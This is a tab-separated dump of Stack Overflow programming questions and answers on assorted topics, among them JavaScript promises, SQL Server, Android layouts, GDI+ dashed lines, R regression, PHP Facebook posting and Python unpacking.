36993563	0	 <p>It's fine to return a reference as long as the object referred to is not destroyed before control leaves the function (<em>i.e.</em>, an automatic local variable or parameter, or a temporary created inside the function).</p> <p>In this case, you are potentially returning a reference to the temporary <code>Foo()</code> in the <em>calling</em> context, which is fine because that temporary is guaranteed to survive until the end of the full-expression containing the call. However, the reference would become dangling after the full-expression, <em>i.e.</em>, the lifetime of the <code>Foo()</code> temporary is not extended, so care must be taken not to access it again after that point.</p>
24152286	0	 <p>For some reason, this (the presence of <code>Default-568h@2x.png</code>) is the obscure method Apple uses to determine if your app supports a 4" display.</p>
32475978	0	Promise chain continues before inner promise is resolved <p>Similar question to <a href="http://stackoverflow.com/questions/29699372/promise-resolve-before-inner-promise-resolved">Promise resolve before inner promise resolved</a> but I can't get it to work nontheless.</p> <p>Every time I think I understand promises, I prove myself wrong!</p> <p>I have functions that are written like this</p> <pre><code>function getFileBinaryData () { var promise = new RSVP.Promise(function(resolve, reject){ var executorBody = { url: rootSite + sourceRelativeUrl + "/_api/web/GetFileByServerRelativeUrl('" + fileUrl + "')/$value", method: "GET", binaryStringResponseBody: true, success: function (fileData) { resolve(fileData.body); }, error: function (argument) { alert("could not get file binary body") } } sourceExecutor.executeAsync(executorBody); }); return promise; } function copyFileAction (fileBinaryData) { var promise = new RSVP.Promise(function(resolve, reject){ var executorBody = { url: rootSite + targetWebRelativeUrl + "/_api/web/GetFolderByServerRelativeUrl('" + targetList + "')/Files/Add(url='" + fileName + "." + fileExt + "', overwrite=true)", method: "POST", headers: { "Accept": "application/json; odata=verbose" }, contentType: "application/json;odata=verbose", binaryStringRequestBody: true, body: fileBinaryData, success: function (copyFileData) { resolve(); }, error: function (sender, args) { } } targetExecutor.executeAsync(executorBody); }); return promise; } </code></pre> <p>that I try to chain like this</p> <pre><code>$.getScript("/_layouts/15/SP.RequestExecutor.js") .then(patchRequestExecutor) .then(function(){ sourceExecutor = new SP.RequestExecutor(sourceFullUrl); targetExecutor = new SP.RequestExecutor(targetList); }) .then(getFileInformation) .then(getFileBinaryData) .then(copyFileAction) .then(getTargetListItem) .then(updateTargetListItem) .catch(function (sender, args) { }); </code></pre> <p>or like this</p> <pre><code>$.getScript("/_layouts/15/SP.RequestExecutor.js") .then(patchRequestExecutor) .then(function(){ sourceExecutor = new SP.RequestExecutor(sourceFullUrl); targetExecutor = new SP.RequestExecutor(targetList); }) .then(function(){ return getFileInformation(); }) .then(function(){ return getFileBinaryData(); }) .then(function(binaryData){ return copyFileAction(binaryData) }) .then(function(){ return getTargetListItem(); }) .then(function(listItem){ return updateTargetListItem(listItem); }); </code></pre> <p>The problem though is that even if I return new promises, the execution continues down the chain before any of the inner promises are resolved. How come? Shouldn't it wait until the asynchronous request has succeeded and <code>resolve()</code> is called in the <code>success</code> callback?</p>
30459659	0	With 1.4 version of AngularJS, is it possible to create persistent cookies with $cookies? <p>With 1.4 version of AngularJS, is it possible to create persistent cookies with <code>$cookies</code>? </p> <p>I want data to be stored once I login, for 7 days say. In version 1.3.X, it is not possible to set Expiration date even. But with 1.4, they have deprecated <code>$cookieStore</code> and set an option in <code>$cookies</code> for expiration date. </p> <p>I want to know whether this one creates cookies for desired longer periods rather than I close the browser and everything is gone. </p>
20997020	0	Not displaying image in viewpager <p>I want to load four image in view pager, i am actually loading images from drawable folder but i am not able to load these,</p> <p>below is the code</p> <pre><code> &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" &gt; &lt;android.support.v4.view.ViewPager android:id="@id/pager1" android:layout_width="fill_parent" android:layout_height="fill_parent" &gt; &lt;LinearLayout android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" &gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="0dp" android:layout_weight="1" android:orientation="horizontal" &gt; &lt;ImageView android:id="@+id/img1" android:layout_width="0dp" android:layout_height="match_parent" android:layout_weight="1" android:src="@drawable/ncard1" /&gt; &lt;ImageView android:id="@+id/img2" android:layout_width="0dp" android:layout_height="match_parent" android:layout_weight="1" android:src="@drawable/tncard2" /&gt; &lt;/LinearLayout&gt; &lt;LinearLayout android:layout_width="fill_parent" android:layout_height="0dp" android:layout_weight="1" android:orientation="horizontal" &gt; &lt;ImageView android:id="@+id/img3" android:layout_width="0dp" android:layout_height="match_parent" android:layout_weight="1" android:src="@drawable/tncard3" /&gt; &lt;ImageView android:id="@+id/img4" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="1" android:src="@drawable/tncard4" /&gt; &lt;/LinearLayout&gt; &lt;/LinearLayout&gt; &lt;/android.support.v4.view.ViewPager&gt; </code></pre> <p></p> <p>Look i am displaying images from drawable but i am getting blank view pager</p> <p>please help me</p>
34277100	0	 <p>There is no limit other than the number of socket descriptors. Some platforms have underlying limits, but NIO works around them with multiple OS selectors per <code>Selector.</code></p> <blockquote> <p>Should use a number of threads and have a selector in each for handling a specific number of sockets?</p> </blockquote> <p>It's possible, but I don't really see why you should. Maybe the peers might get more regular service that way, it depends what your code has to do with every request.</p>
5815954	0	Independent format for a string representation of date/time value, for MS SQL server? <p>I have a question about MS SQL Server string-to-datetime implicit conversion.</p> <p>Specifically, can I be sure that a string in the 'yyyy-mm-dd hh:mm:ss' (e.g '2011-04-28 13:01:45') format, inserted into the datetime column, will always be automatically converted to a datetime type, no matter what regional or language settings are used on the server?</p> <p>If no, does there exist such an independent string format for date time?</p> <p>Does it depend on MSSQL server version and how?</p> <p>thank you in advance</p>
856569	0	 <p>My tests show that <code>z-index: 2147483647</code> is the maximum value, tested on FF 3.0.1 for OS X. I discovered a integer overflow bug: if you type <code>z-index: 2147483648</code> (which is 2147483647 + 1) the element just goes behind all other elements. At least the browser doesn't crash.</p> <p>And the lesson to learn is that you should beware of entering too large values for the <code>z-index</code> property because they wrap around.</p>
20143323	0	Add php variable to ajax call <p>I have a form on <strong>page 1</strong> and I want to parse its variables to ajax call on <strong>page 2</strong>. The ajax call is triggered by on onload event.</p> <p>Scenario:</p> <p><strong>Page1</strong></p> <pre><code>&lt;form id="form1"method="GET" action="page2"&gt;//send the variables to page 2 &lt;input type="text" name="Place" value="city"&gt; &lt;input type="text" name="Type" value="room"&gt; &lt;input type="submit"&gt;&lt;/form&gt; </code></pre> <p><strong>page 2</strong></p> <pre><code>&lt;form name="myform2" id="myform2" method="GET"&gt; &lt;input type="text" name="Place" value="&lt;?php echo $_GET[Place] ?&gt;"&gt;// &lt;input type="text" name="type" value="&lt;?php echo $_GET[Type] ?&gt;"&gt; &lt;button id="submit2"type="submit" value="submit2" name="submit2" onclick="return ss()"&gt; </code></pre> <p>js1</p> <pre><code>$(document).ready(function(){ // load file.php on document ready function sssssss2(page){ var form2 = document.myform2; var dataString1 = $(form2).serialize() + '&amp;page=' + page; ({ type: "GET", url: "file.php",// data: dataString1, success: function(ccc){ $("#search_results").html(ccc); }});} sssssss2(1) ; $('#search_results .pagination li.active').live('click',function(){ var page = $(this).attr('p'); sssssss2(page); }); }); </code></pre> <p>js2 </p> <pre><code>function sss() {//serialize the form each time submitted. var form2 = document.myform2; var dataString1 = $(form2).serialize(); $.ajax({ type:'GET', url: "file.php", cache: false, data: dataString1, success: function(data){ $('#search_results').html(data); } }); return false; } </code></pre> <p>The problem is the <strong>file.php doens't take the variable "city" and "room"</strong>.I would like to parse the 2 variable to file.php when page2 load first time.</p> <p>Hw to parse those variable on document load page2?</p>
14840719	0	Enumerating domains in a forest (windows networks) <p>I looking for an API method that retrieve the info that "net view /domain" does. namely, I'm looking for a way to enumerate the visible domains within a forest, using win32api (in C environment) </p> <p>thanks.</p> <p><strong>Update:</strong> it seems that <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms675976%28v=vs.85%29.aspx" rel="nofollow">DsEnumerateDomainTrusts</a> can do what I need, however, it doesn't looks like net.exe importing it, so I'd still like to know of other options.</p> <p><strong>Update2:</strong> as it's name imply, the function only enumerate trusted domain, even when DS_DOMAIN_IN_FOREST is specified, so I'm in square 1.</p>
5905513	0	 <p>On Mac OS X, you can't use <code>\|</code> in a basic regular expression, which is what <code>find</code> uses by default.</p> <p><a href="http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man7/re_format.7.html#//apple_ref/doc/man/7/re_format">re_format man page</a></p> <blockquote> <p>[basic] regular expressions differ in several respects. | is an ordinary character and there is no equivalent for its functionality.</p> </blockquote> <p>The easiest fix in this case is to change <code>\(m\|h\)</code> to <code>[mh]</code>, e.g.</p> <pre><code>find ./ -regex '.*[mh]$' </code></pre> <p>Or you could add the <code>-E</code> option to tell find to use extended regular expressions instead.</p> <pre><code>find -E ./ -regex '.*(m|h)$' </code></pre> <p>Unfortunately <code>-E</code> isn't portable.</p> <p>Also note that if you only want to list files ending in <code>.m</code> or <code>.h</code>, you have to escape the dot, e.g.</p> <pre><code>find ./ -regex '.*\.[mh]$' </code></pre> <p>If you find this confusing (me too), there's a great reference table that shows which features are supported on which systems.</p> <p><a href="http://www.greenend.org.uk/rjk/2002/06/regexp.html">Regex Syntax Summary</a> [<a href="http://webcache.googleusercontent.com/search?q=cache%3ahttp://www.greenend.org.uk/rjk/2002/06/regexp.html">Google Cache</a>]</p>
26977190	0	 <p>The following script would do the work for you</p> <pre><code>for file in *.inp do dir=$(echo $file | sed -r 's/[^0-9]+0([0-9]+).*/\1/g') mv $file $dir/mech.dat done </code></pre>
14768134	0	Stratergies to collect analytics and error in windows 8 metro app <p>I have build a metro app using javascript, i have written around 6000 lines of codes.</p> <p>I am ooking for ways to collect 2 things</p> <ol> <li>What users is doing, user action analytics</li> <li>Error that users may be facing, collecting a log file or some other strategy.</li> </ol> <p>What are the available options and what are the available strategies to do that.</p>
8104825	0	 <p>Just a note, when using .mask() function, you have to call it to a DOM element, which means you should use it either with</p> <pre><code>Ext.get('yourDomElementId').mask(); </code></pre> <p>or</p> <pre><code>Ext.getCmp('yourExtComponentId').el.mask(); //this gets the dom //element attached to the component </code></pre> <p>I've never used it with .body</p>
39050173	0	Saving large amount of data from Firebase <p>I actually sizeable amount of data that I retrieve the entire data from <code>Firebase</code> when the user log into the app, or to the different view controllers which require the data from Firebase. </p> <p><a href="https://i.stack.imgur.com/no0SO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/no0SO.png" alt="JSON Data"></a></p> <p>However, I find it meaningless to continuously retrieving the same data as the user navigates through the app. Is there a way for me to save all the data to the phone upon first retrieval after log in and just refer to the local data whenever I need it?</p> <p>I have used <code>NSUserDefaults</code> for small amount of data but I don't think that it is the right option for my situation. </p> <p>For these data, I would also require to search them by key when necessary. </p>
21348281	0	 <p>I don't have access to an Oracle environment at the moment so I can't verify, but the following does work in SQL Server and will delete from the Orders table. If you want to delete from Order_Item, reverse the tables.</p> <pre><code>DELETE o FROM Orders o JOIN Order_Item oi ON o.order_id = oi.order_id WHERE [filter condition] </code></pre>
4199657	0	Stop browser loading indicator iframe <p>is it possible to stop the browser indicator on a iframe src. In this case its pointing to a different domain happens after page load so don't want to show the indicator</p>
8924973	0	 <p>Many of the answers have mentioned using a static readonly lock.</p> <p>However, you really should try to avoid this static lock. It would be easy to create a deadlock where multiple threads are using the static lock.</p> <p>What you could use instead is one of the .net 4 concurrent collections, these do provide some thread synchronisation on your behalf, so that you do not need to use the locking.</p> <p>Take a look at the <code>System.collections.Concurrent</code> namespace. For this example, you could use the <code>ConcurrentBag&lt;T&gt;</code> class.</p>
20539520	0	 <p>You don't replace the whole string with <code>\0</code>, just the pattern match, which is <code>This</code>. In other words, you replace <code>This</code> with <code>This</code>.</p> <p>To replace the whole line with <code>This</code>, you can do:</p> <pre><code>echo "This is a test string" | sed '/This/s/.*/This/' </code></pre> <p>It looks for a line matching <code>This</code>, and replaces the whole line with <code>This</code>. In this case (since there is only one line) you can also do:</p> <pre><code>echo "This is a test string" | sed 's/.*/This/' </code></pre> <p>If you want to reuse the match, then you can do</p> <pre><code>echo "This is a test string" | sed 's/.*\(This\).*/\1/' </code></pre> <p><code>\(</code> and <code>\)</code> are used to remember the match inside them. It can be referenced as <code>\1</code> (if you have more than one pair of <code>\(</code> and <code>\)</code>, then you can also use <code>\2</code>, <code>\3</code>, ...).</p> <p>In the example above this is not very helpful, since we know that inside <code>\(</code> and <code>\)</code> is the word <code>This</code>, but if we have a regex inside the parentheses that can match different words, this can be very helpful.</p>
5722203	0	Keybords inputs in a WPF user control are not sent to the WinForms container <p>We have a WinForms application that we are progressively converting to WPF. At this point the application's main form is a Form (WinForm) that contains a vertical sidebar built in WPF. The sidebar is hosted in an ElementHost control.</p> <p>In the main form, KeyPreview is set to true and we override OnKeyDown() to process application wide keyboard shortcuts. When the sidebar has the focus, keyboard events are not sent to OnKeyDown.</p> <p>What is the correct way to fix this?</p>
16835738	0	 <p>You can always animate the <code>contentOffset</code> property yourself and use <code>UIViewAnimationOptionBeginFromCurrentState</code> option. As soon as the second animation begins, the first will end, and by using current state option, the second animation will start from where the first left off. </p>
21717089	0	computing multiple fixed effects on large dataset <p>I'm trying to perform a fixed effects regression for two factor variables in a CSV dataset containing over 4000000 rows. These variables can respectively assume about 140000 and 50000 different integer values.</p> <p>I initially attempted to perform the regression using the biglm and ff packages for R as follows on a Linux machine with 8 Gb of memory; however, it seems that this requires too much memory because R complains about having to allocate a vector of a size greater than the maximum on my machine.</p> <pre><code>library(biglm) library(ff) d &lt;- read.csv.ffdf(file='data.csv', header=TRUE) model = y~factor(a)+factor(b)-1 out &lt;- biglm(model, data=d) </code></pre> <p>Some research online revealed that since factors are loaded into memory by ff, the latter will not significantly improve memory usage if many factor values are present.</p> <p>Is anyone aware of some other way to perform the aforementioned regression on a dataset of the magnitude I described without having to resort to a machine with significantly more memory?</p>
10837994	0	 <p>The output is different for failures. For IsTrue, the message will be something like "Expected true but was false." For GreaterOrEqual, the message will be something like "Expected 1 or greater, but was -15." GreaterOrEqual provides more info in that you will see the actual value, which is more useful when debugging failures.</p>
23083505	0	 <p>Same as @hsz answer but with one difference..</p> <pre><code>foreach ($test as $key=&gt;$value) { // +1 because 1st array key is 0 ${'test' . ($key+1)} = $value; } </code></pre> <p>or with counter</p> <pre><code>$i = 1; foreach ($test as $value) { ${'test' . $i++} = $value; } </code></pre> <p>But it all depends on what you really need.. Once you have your values in 1 array you can use them a lot easier then creating such variables..</p> <p>.. For the SQL please check my edit</p> <pre><code>function rapport_detail_kosten($idKlant){ $this-&gt;db-&gt;from('Project'); $this-&gt;db-&gt;join('Kosten', 'Kosten.idProject = Project.idProject'); if ($idKlant &gt; 0){ $this-&gt;db-&gt;where('idKlant', $idKlant); } $query = $this-&gt;db-&gt;get(); $project = array(); foreach($query-&gt;result() as $row){ $project[] = $row-&gt;idProject; } $sum = 0; $this-&gt;db-&gt;select('Kosten.idProject, SUM(Kosten.idProject) as sum'); $this-&gt;db-&gt;from('Kosten'); $this-&gt;db-&gt;where_in('Kosten.idProject',$project); $query = $this-&gt;db-&gt;get(); if($query-&gt;num_rows()&gt;0){ return $query-&gt;result(); } return false; } </code></pre>
1235336	0	Jquery tab reload with a parameter <p>After some events in a tab, I would like to reload it. I need to send a parameter to the page that loads into the tab. </p> <p>The following reloads the page: $("#tabs").tabs( 'load' , 6);</p> <p>But, how can I send a parameter with it?</p>
30293857	0	 <p>So I have found the "silver bullet" that seems to resolve a great number of challenges regarding auto layout of prototype cells. </p> <p>In the cellForRowAtIndexPath function I added the following line of code right before I return the cell:</p> <pre><code>lobj_NearbyLocationEntry!.layoutIfNeeded() </code></pre> <p>(lobj_NearbyLocationEntry is the name of my cell variable I am returning.)</p> <p>When I do this, the auto layout for my table works fine. On a side note, I found a defect in the code that uses the UITableViewController also. Once the data loads and it all looks good, if you scroll down and then scroll back up, you will see a couple of the cells are now not laid out correctly. Putting this line of code in that view controller's code also resolved that layout problem. </p> <p>I hope this helps many people who are sitting there trying to figure out why their app is not auto laying out a tableView cell correctly. :)</p>
7498206	0	Can a ClickOnce application return a value to the page that loaded it? <p>I have an online ClickOnce application that launches from a web page. After the application is closed, I would like the user to return to that page with some results passed from the application. Is this possible? </p> <p>Right now the only solution I have is for the application to upload the results to my server, and have javascript on the launching webpage to poll the server every 15 seconds as it waits for results.</p>
17835952	0	Returning only updated fields from database <p>I'm building stored procedure which will be used by my Web API application. Now, I have multiple databases and multiple stored procedures which returns me all data which is specified by API contract. What I want to do is to customize my SP's in the way that they are going to return me only updated rows. E.g. I have 10 columns in a table, and user changes 2 columns, stored procedure check which columns are affected and returns me only those and for all other columns it should return null. So far I was thinking to create new table which will store <code>ProductId</code> and <code>UpdatedFields</code> so when update SP is triggered, it will update Name and Category fields and store those column names in new table under <code>UpdatedFields</code> like comma separated strings (<code>Name</code>, <code>Category</code>...) and on retrieving member data SP will not return <code>Price</code> nor <code>Quantity</code> (those should be null) but just <code>Name</code> and <code>Category</code>.</p> <p>Any help is appreciated.</p>
16054118	0	 <p>It might be easier if you think of the comma-expression list you present like this: </p> <pre><code>((a += 3, b = c * 2), d = a + b) </code></pre> <p>First the innermost comma-expression is evaluated:</p> <pre><code>a += 3, b = c * 2 </code></pre> <p>That expression will be evaluated in two steps:</p> <pre><code>a += 3 b = c * 2 </code></pre> <p>The result of <code>a += 3</code> will be thrown away by the compiler, <em>but the assignment still happens</em>, it's just that the returned result is thrown away. The result of the first comma expression is <code>b</code> (which will be <code>c * 2</code> (whatever that is)).</p> <p>The result of the first comma expression is then on the left-hand side of the next comma expression:</p> <pre><code>b = c * 2, d = a + b </code></pre> <p>Which will then be sequenced as</p> <pre><code>b = c * 2 d = a + b </code></pre> <p>The result of the expression <code>b = c * 2</code> is thrown away (but as it is still evaluated the assignment still happens), and the result of the complete expression is <code>d</code> (which is <code>a + b</code>).</p> <p>The result of the whole expression will be <code>d</code>.</p>
24081707	0	Google Spreadsheet: Count rows with not empty value <p>In a Google Spreadsheet: How can I count the rows of a given area that have a value? All hints about this I found up to now lead to formulas that do count the rows which have a not empty content (including formula), but a cell with =IF(1=2;"";"") // Shows an empty cell is counted as well.</p> <p>What is the solution to this simple task?</p> <p>Thank you in advance</p>
10810407	0	Already php sms function convert to C# success <p>i have already configured SMS gateway &amp; some php code.Now my project is thatone convert it to Csharp with minor changes,</p> <p>probably i have to write new code.but so.. experienced guys from you i wanted to know is that possible ? Sample code below.</p> <pre><code>enter code here $username = "abcdsoft"; $password = "softsoft"; //GET parametrar //$source = $_GET['sourceaddr']; //$dest = $_GET['destinationaddr']; //$message_in = $_GET['message']; enter code here $source = $_GET['msisdn']; $dest = $_GET['shortcode']; $message_in = $_GET['msg']; </code></pre> <p>those are most top lines.below code i changed.(php to csharp)</p> <pre><code>enter code here string username ='abcdsoft'; string password = 'abcdabcd'; int source = ['sourceaddr']; int dest = ['shortcode']; string message_in = ['msg']; </code></pre> <p>Is this way is correct ?</p>
8385604	0	Lines with an applied DashStyle are wrongly drawn <p>Doing some GIS programming I stumbled over the following strange issue: When I apply a transformation matrix with fairly large transformation values to a Graphics object and then draw a line from point A to point B, it is drawn crooked as soon as I apply a DashStyle to the used Pen object.</p> <p>Here is some sample code:</p> <pre><code>protected override void OnPaint( PaintEventArgs e ) { base.OnPaint( e ); Graphics g = e.Graphics; g.Clear( Color.White ); g.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; Matrix m = new System.Drawing.Drawing2D.Matrix(); m.Reset(); m.Translate( -1520106.88f, -6597594.5f, MatrixOrder.Append ); m.Scale( 0.393068463f, -0.393068463f, MatrixOrder.Append ); g.Transform = m; g.TranslateTransform( 0, 400 ); Pen p1 = new Pen( Color.Green, 8.0f ); Pen p2 = new Pen( Color.Magenta, 7.0f ); PointF[] roadLine = new PointF[2]; roadLine[0] = new PointF( 1520170.13f, 6596633.0f ); roadLine[1] = new PointF( 1521997.38f, 6596959.0f ); // Normal (solid line) g.DrawLines( p1, roadLine ); g.DrawLines( p2, roadLine ); g.TranslateTransform( 0, -200 ); //Dashed g.DrawLines( p1, roadLine ); p2.DashStyle = DashStyle.Dash; g.DrawLines( p2, roadLine ); g.TranslateTransform( 0, -200 ); //Dashed g.DrawLines( p1, roadLine ); p2.DashStyle = DashStyle.DashDot; g.DrawLines( p2, roadLine ); g.TranslateTransform( 0, -200 ); //Dash-Dot-Dot g.DrawLines( p1, roadLine ); p2.DashStyle = DashStyle.DashDotDot; g.DrawLines( p2, roadLine ); } </code></pre> <p>If you put this in a new Windows Forms app and run it, you'll see some solid lines and some dashed lines (with different dash styles). I would expect the dashed lines would completely overlay the respective solid line, but they don't.</p> <p>Note that both the green, solid lines and the dashed lines use the coordinates for point A and point B.</p> <p>Is this expected behaviour, or should I report this as a .NET bug?</p> <p>I tested with Visual Studio 2008 and .NET 2.0 and .NET 3.5.</p>
38718459	0	 <p>you must not perform the substitutions yourself in a SQL query as this makes your code vulnerable to <a href="https://en.wikipedia.org/wiki/SQL_injection" rel="nofollow">SQL injections</a>. </p> <p>The correct version is:</p> <pre><code>cr.execute( 'select distinct(value) from ir_translation ' 'where name = %s and src = %s and res_id = %S and lang = %s', ('product.bat3,name', res_bat[j][0].encode('utf-8'), res_bat[j][1], line2.partner_id.lang) ) </code></pre> <p>You may keep the first parameter in the query if you wish. </p>
21398381	0	 <p>You're trying to assign an array of bytes (<code>byte[]</code>) to a single byte, hence the error.</p> <p>Try the following code:</p> <pre><code>byte[] imgarray = new byte[imglength]; </code></pre>
22802834	0	 <p>For desktop app, please check your project properties "Security" setting, to make sure disable the ClickOnce security settings. Good luck!</p>
13378535	0	 <pre><code>&lt;?php require './config.php'; require './facebook.php'; //connect to mysql database mysql_connect($db_host, $db_username, $db_password); mysql_select_db($db_name); mysql_query("SET NAMES utf8"); //Create facebook application instance. $facebook = new Facebook(array( 'appId' =&gt; $fb_app_id, 'secret' =&gt; $fb_secret )); $output = ''; $isHaveNext = false; if (isset($_POST['send_messages'])) { //default message/post $msg = array( 'message' =&gt; 'date: ' . date('Y-m-d') . ' time: ' . date('H:i') ); //construct the message/post by posted data if (isset($_POST['message'])) { $msg['message'] = $_POST['message']; } if (isset($_POST['url']) &amp;&amp; $_POST['url'] != 'http://') { $msg['link'] = $_POST['url']; } if (isset($_POST['picture_url']) &amp;&amp; $_POST['picture_url'] != '') { $msg['picture'] = $_POST['picture_url']; } // get offset $offset = isset($_POST['offset']) ? intval($_POST['offset']) : 0; // get total rows count $query = mysql_query("SELECT COUNT(1) FROM offline_access_users LIMIT 1"); $rows = mysql_fetch_array($query); $total = $rows[0]; //get users and try posting our message/post $result = mysql_query("SELECT * FROM offline_access_users LIMIT 50 OFFSET $offset"); if ($result) { while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $msg['access_token'] = $row['access_token']; try { $facebook-&gt;api('/me/feed', 'POST', $msg); $output .= "&lt;p&gt;Posting message on '" . $row['name'] . "' wall success&lt;/p&gt;"; } catch (FacebookApiException $e) { $output .= "&lt;p&gt;Posting message on '" . $row['name'] . "' wall failed&lt;/p&gt;"; } } } // next if ( $total &gt; ($offset + 50) ) { $isHaveNext = true; $offset += 50; ?&gt; &lt;form action="" method="post"&gt; &lt;input type="hidden" name="message" value="&lt;?php echo $_POST['message'] ?&gt;"&gt; &lt;input type="hidden" name="url" value="&lt;?php echo $_POST['url'] ?&gt;"&gt; &lt;input type="hidden" name="picture_url" value="&lt;?php echo $_POST['picture_url'] ?&gt;"&gt; &lt;input type="hidden" name="offset" value="&lt;?php echo $offset ?&gt;"&gt; &lt;input type="submit" name="send_messages" value="Next"&gt; &lt;/form&gt; &lt;?php echo $output; } } if ($isHaveNext) exit(1); ?&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="et" lang="en"&gt; &lt;head&gt; &lt;title&gt;Batch posting&lt;/title&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; &lt;style type="text/css"&gt; body { font-family:Verdana,"Lucida Grande",Lucida,sans-serif; font-size: 12px} &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Batch posting&lt;/h1&gt; &lt;form method="post" action=""&gt; &lt;p&gt;Link url: &lt;br /&gt;&lt;input type="text" value="http://" size="60" name="url" /&gt;&lt;/p&gt; &lt;p&gt;Picture url: &lt;br /&gt;&lt;input type="text" value="" size="60" name="picture_url" /&gt;&lt;/p&gt; &lt;p&gt;Message: &lt;br /&gt;&lt;textarea type="text" value="" cols="160" rows="6" name="message" /&gt;Message here&lt;/textarea&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="submit" value="Send message to users walls" name="send_messages" /&gt;&lt;/p&gt; &lt;/form&gt; &lt;?php echo $output; ?&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>Bonus:</strong> Use <a href="http://www.php.net/manual/en/pdo.connections.php" rel="nofollow">PDO</a> instead of mysql_* functions.</p>
28574861	0	Convert string to date and merge data sets R <p>I have a column of data in the form of a string, and I need to change it to date because it is a time series.</p> <pre><code>200612010018 --&gt; 2006-12-01 00:18 </code></pre> <p>I've tried unsucessfully,</p> <pre><code>strptime(200612010018,format ='%Y%M%D %H:%MM') </code></pre> <p>After doing this I need to append one data set to another one. Will I have any problems using rbind() if the column contains dates?</p> <p>Thanks</p>
26792987	0	 <p><a href="http://dmauro.github.io/Keypress/" rel="nofollow">KEYPRESS</a> is focused on game input and supports any key as a modifier, among other features. It's also <a href="https://atmospherejs.com/keypress/keypress" rel="nofollow">pre-packaged for Meteor</a>.</p>
36517321	0	 <p>This is a great use-case for custom directives. Here is an example of a custom directive that adds jQuery functionality to Vue: <a href="https://vuejs.org/examples/select2.html" rel="nofollow">https://vuejs.org/examples/select2.html</a></p>
10192134	0	Why am I getting index out of bounds error from database <p>I know what index out of bounds is all about. When I debug I see why as well. basically what is happening is I do a filter on my database to look for records that are potential/pending. I then gather a array of those numbers send them off to another server to check to see if those numbers have been upgraded to a sale. If it has been upgraded to a sale the server responds back with the new Sales Order ID and my old Pending Sales Order ID (SourceID). I then do a for loop on that list to filter it down that specific SourceID and update the SourceID to be the Sales Order ID and change a couple of other values. Problem is is that when I use that filter on the very first one it throws a index out of bounds error. I check the results returned by the filter and it says 0. Which i find kind of strange because I took the sales order number from the list so it should be there. So i dont know what the deal is. Here is the code in question that throws the error. And it doesn't do it all the time. Like I just ran the code this morning and it didn't throw the error. But last night it did before I went home.</p> <pre><code> filter.RowFilter = string.Format("Stage = '{0}'", Potential.PotentialSale); if (filter.Count &gt; 0) { var Soids = new int[filter.Count]; Console.Write("Searching for Soids - ("); for (int i = 0; i &lt; filter.Count; i++) { Console.Write(filter[i][1].ToString() + ","); Soids[i] = (int)filter[i][1]; } Console.WriteLine(")"); var pendingRecords = Server.GetSoldRecords(Soids); var updateRecords = new NameValueCollection(); for (int i = 0; i &lt; pendingRecords.Length; i++) { filter.RowFilter = "Soid = " + pendingRecords[i][1]; filter[0].Row["Soid"] = pendingRecords[i][0]; filter[0].Row["SourceId"] = pendingRecords[i][1]; filter[0].Row["Stage"] = Potential.ClosedWon; var potentialXML = Potential.GetUpdatePotentialXML(filter[0].Row["Soid"].ToString(), filter[0].Row["Stage"].ToString()); updateRecords.Add(filter[0].Row["ZohoID"].ToString(), potentialXML); } </code></pre> <p>if i'm counting right line 17 is the error where the error is thrown. pendingRecords is a object[][] array. pendingRecords[i] is the individual records. pendingRecords[i][0] is the new Sales OrderID (SOID) and pendingRecords[i][1] is the old SOID (now the SourceID)</p> <p>Any help on this one? is it because i'm changing the SOID to the new SOID, and the filter auto updates itself? I just don't know</p>
21571515	0	 <p>By passing the interface you are creating the opportunity to pass all the classes which implements the interface. But in case1 you can only pass the <code>MyClass</code> and its subclasses.</p> <p>For example think about the following case</p> <pre><code>public class YourClass implements MyInterface { public void foo() { doJob(); } } </code></pre> <p>Now in case2 you can pass both the instance of MyClass and YourClass. but in case1 you can't.</p> <blockquote> <p>Now, what is the importance of it?</p> </blockquote> <p>In OOP it is recommended to program to the interface instead of class. So if you think about good design there will be no case1. Only case2 will do the job for you.</p>
34449869	1	Unpacking "the rest" of the elements in list comprehension - python3to2 <p>In Python 3, I could use <code>for i, *items in tuple</code> to isolate the first time from the tuple and the rest into items, e.g.:</p> <pre><code>&gt;&gt;&gt; x = [(2, '_', 'loves', 'love', 'VBZ', 'VBZ', '_', '0', 'ROOT', '_', '_'), (1, '_', 'John', 'John', 'NNP', 'NNP', '_', '2', 'nsubj', '_', '_'), (3, '_', 'Mary', 'Mary', 'NNP', 'NNP', '_', '2', 'dobj', '_', '_'), (4, '_', '.', '.', '.', '.', '_', '2', 'punct', '_', '_')] &gt;&gt;&gt; [items for n, *items in sorted(x)] [['_', 'John', 'John', 'NNP', 'NNP', '_', '2', 'nsubj', '_', '_'], ['_', 'loves', 'love', 'VBZ', 'VBZ', '_', '0', 'ROOT', '_', '_'], ['_', 'Mary', 'Mary', 'NNP', 'NNP', '_', '2', 'dobj', '_', '_'], ['_', '.', '.', '.', '.', '_', '2', 'punct', '_', '_']] </code></pre> <p>I need to backport this to Python 2 and I can't use the <code>*</code> pointer to collect the rest of the items in the tuple. </p> <ul> <li><p>What is the equivalent in Python 2?</p></li> <li><p>Is it still possible to achieve the same using the list comprehension?</p></li> <li><p>What is the technical name for this <code>*</code> usage? Unpacking? Isolating? Pointers?</p></li> <li><p>Is there a <code>__future__</code> import that can be used such that I can use the same syntax in Python 2?</p></li> </ul>
